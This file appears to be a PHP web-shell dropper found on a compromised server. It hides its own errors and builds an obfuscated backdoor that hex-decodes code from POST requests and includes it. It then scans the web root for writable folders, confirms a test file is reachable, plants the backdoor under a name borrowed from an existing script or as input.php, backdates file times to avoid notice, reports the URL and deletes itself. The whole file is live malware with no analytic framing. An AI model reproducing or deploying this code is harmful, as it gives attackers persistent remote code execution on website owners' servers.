Current File : //tmp/20250826-094834-aK2C8mi6MXr5C2Voarg7kAAAAAQ-file-gKlqPI |
<?php
@ini_set('error_log', NULL);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@date_default_timezone_set('UTC');
echo '<status>';
echo('__spam__');
echo('__check__');
echo '</status>';
// load
function randomName(){ return substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz_', 1)), 0, rand(1, 9)); }
function c($o)
{
if(is_array($o))
foreach($o as $k => &$v) $v = c($v);
if(is_string($o))
$o = implode('', array_map(function($s){return rand(0, 1) ? strtolower($s) : strtoupper($s);}, str_split($o)));
return $o;
}
function j()
{
$l = rand(10, 50);
while(!isset($c[$l])) @$c .= chr(rand(32, 126));
if(rand(0, 1))
return preg_replace("|\?>|", "", ((rand(0, 1) ? "#".chr(rand(32, 90)) : "//").$c.(rand(0, 1) ? "\r" : "\n")));
else
return (rand(0, 1) ? "/*".preg_replace("|\*/|","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}
function r()
{
$r = func_get_args();
return c($r[rand(0, (func_num_args() - 1))]);
}
function t($s)
{
foreach(token_get_all($s) as $t)
@$r .= (is_array($t) ? $t[1] : $t).j();
return $r;
}
function varReplace($code, $vars)
{
foreach($vars as $var)
{
$new_var = c(randomName());
$code = str_ireplace('$'.$var, '$'.$new_var, $code);
}
$code = str_ireplace('$_SERVER', '$_SERVER', $code);
$code = str_ireplace('HTTP_ENCODING_CONTENT', 'HTTP_ENCODING_CONTENT', $code);
$code = str_ireplace('error', 'error', $code);
$code = str_ireplace('"uri"', '"uri"', $code);
$code = str_ireplace('"H*"', '"H*"', $code);
return $code;
}
$vars = array('content', 'file_var', 'tmpfile', 'meta', 'pos');
function scriptGenerator()
{
$code = '<?'.c('php').implode('', array_rand(array_flip(["\n","\r","\t"," ", "", chr(9)]), rand(2, 5))).r(j(), '');
$code .= r('$content = file_get_contents("php://input")',
'$file_var = fopen("php://input", "r"); $content = fgets($file_var); fclose($file_var)',
'$file_var = fopen("php://input", "r"); $content = stream_get_contents($file_var); fclose($file_var)',
'$file_var = file("php://input"); $content = $file_var[0]');
$code .= ';
if(!empty($content) && $content = explode("=", $content, 2))
{
$tmpfile = tmpfile();
$meta = stream_get_meta_data($tmpfile);
$pos = @$_SERVER["HTTP_ENCODING_CONTENT"];
$pos = ($pos && $pos == 2) ? 0 : 1;
'.r('fwrite($tmpfile', 'file_put_contents($meta["uri"]').', pack("H*", $content[$pos]));
'.r('include', 'require').r('_once', '').'($meta["uri"]);
}
else die("error");';
return $code;
}
$script_obf = t(c(scriptGenerator()));
$body = varReplace($script_obf, $vars);
$homedir=@$_SERVER['DOCUMENT_ROOT'];
// Определение хоста
if(isset($_SERVER['HTTPS'])) $scheme = $_SERVER['HTTPS'];
else $scheme = '';
if($scheme && $scheme != '' && $scheme != 'off') $host = 'https://'.$_SERVER['HTTP_HOST'];
else $host = 'http://'.$_SERVER['HTTP_HOST'];
$homedir = @$_SERVER['DOCUMENT_ROOT'];
if($handle = opendir($homedir)) // First
{
while (false !== ($file = readdir($handle)))
{
if($file == "." or $file == "..") continue;
if(filetype($homedir.DIRECTORY_SEPARATOR.$file) == "dir") $root_dirs[$file]=$homedir.DIRECTORY_SEPARATOR.$file;
}
shuffle($root_dirs);
foreach($root_dirs as $root_name => $root_dir)
$result[$root_name] = scan($root_dir);
if(count($result) > 0)
foreach($result as $info)
{
if(!isset($info['dir']) || count(@$info['dir']) == 0) continue;
if(!isset($info['file']) || count(@$info['file']) == 0) continue;
$info['dir'] = array_unique($info['dir']);
shuffle($info['dir']);
$info['file'] = array_unique($info['file']);
shuffle($info['file']);
foreach($info['dir'] as $random_dir)
{
foreach($info['file'] as $random_file)
{
if(count($info['dir']) == 1 && $try_random == '1')
{
$suffix = array('_', '.old', '_old', 'old', 'bak', '.bak', '_bak', '1', '2', '3', '_1', '_2', '_3', '.1', '.2', '.3');
shuffle($suffix);
$replace = $suffix[0].'.php';
$random_file = preg_replace('/\.php$/i', $replace, $random_file);
}
$random_path = $random_dir.DIRECTORY_SEPARATOR.'t_s_'.$random_file;
if(!is_file($random_dir.DIRECTORY_SEPARATOR.$random_file))
{
if(is_writable($random_dir))
{
$dir_time = filemtime($random_dir);
if($handle = opendir($random_dir))
{
$old_time = microtime(1);
while (false !== ($file = readdir($handle)))
{
if($file == "." or $file == "..") continue;
$filemt = filemtime($random_dir.DIRECTORY_SEPARATOR.$file);
if($filemt < $old_time) $old_time = $filemt;
}
$old_time = ($dir_time < $old_time) ? $dir_time : $old_time;
$test_str = '<?php echo md5(23); ?>';
if(file_put_contents($random_path, $test_str))
{
$url = $host.str_replace('\\','/',str_replace($homedir,'',$random_path));
if($content = get($url))
{
if(preg_match('/'.md5(23).'/', $content))
{
unlink($random_path);
$random_path = str_replace('t_s_', '', $random_path);
if(file_put_contents($random_path, $body))
{
chmod($random_path, 0755);
touch($random_path, $old_time);
touch($random_dir, $dir_time);
endik(str_replace('/t_s_', '/', $url));
}
else endik('re_error_write');
}
}
if(file_exists($random_path))
{
unlink($random_path);
touch($random_dir, $dir_time);
}
}
}
}
break(1);
}
}
}
}
}
if(is_writable(dirname($_SERVER['SCRIPT_FILENAME']))) // Second
{
$old_time = (filemtime("./") < filemtime("../")) ? filemtime("./") : filemtime("../");
$file = dirname($_SERVER['SCRIPT_FILENAME']).'/input.php';
if(file_put_contents($file, $body))
{
touch($file, $old_time);
$url_path = str_replace('//', '/', dirname($_SERVER['PHP_SELF']).'/input.php');
endik($host.$url_path);
}
else endik('re_error_write');
}
else endik('re_error_right');
function scan($homedir, $count=0, $files=array())
{
$scan_max = 2;
$subdir = array();
if($count > $scan_max) return $files;
if($handle = opendir($homedir))
{
$files['dir'][] = $homedir;
while(false !== ($file = readdir($handle)))
{
if($file == "." or $file == "..") continue;
$fullPath = $homedir.DIRECTORY_SEPARATOR.$file;
if(filetype($fullPath) == "dir")
{
$files['dir'][] = $fullPath;
$subdir[] = $fullPath;
}
elseif(!preg_match('#(index\.php|admin\.php)#', $file) and preg_match('/\.php$/i', $file)) $files['file'][] = $file;
}
++$count;
if(count($subdir) > 0)
foreach($subdir as $dir) $files = scan($dir, $count, $files);
}
return $files;
}
function get($url)
{
if(is_callable("curl_exec"))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$content = curl_exec($ch);
curl_close($ch);
return $content;
}
elseif(is_callable("file_get_contents") && filter_var(ini_get('allow_url_fopen'), FILTER_VALIDATE_BOOLEAN))
{
return file_get_contents($url, false, stream_context_create(array(
"ssl" => array("verify_host" => false,
"verify_peer" => false,
"verify_peer_name" => false,
"allow_self_signed" => true
),
"http" => array(
"header" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0"
)
)));
}
elseif(is_callable("fsockopen"))
{
if($fp = fsockopen(parse_url($url, PHP_URL_HOST), 80, $e, $e, 15))
{
$out ="GET ".parse_url($url, PHP_URL_PATH)." HTTP/1.1\r\n";
$out.="Host: ".parse_url($url, PHP_URL_HOST)."\r\n";
$out.="User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0\r\n";
$out.="\r\n";
fputs($fp, $out);
$content = '';
while(!feof($fp)) {
$content .= fgets($fp, 1024);
}
fclose($fp);
return $content;
}
else return false;
}
else return false;
}
function get_data($socket) {
$smtp_msg = '';
while ($line = fgets($socket, 515)) {
$smtp_msg .= $line;
if(substr($line, 3, 1) == " ") break;
}
return ($smtp_msg);
}
function endik($msg) {
@unlink(__FILE__);
$result = '<result>'.$msg.'</result>';
die($result);
}
?>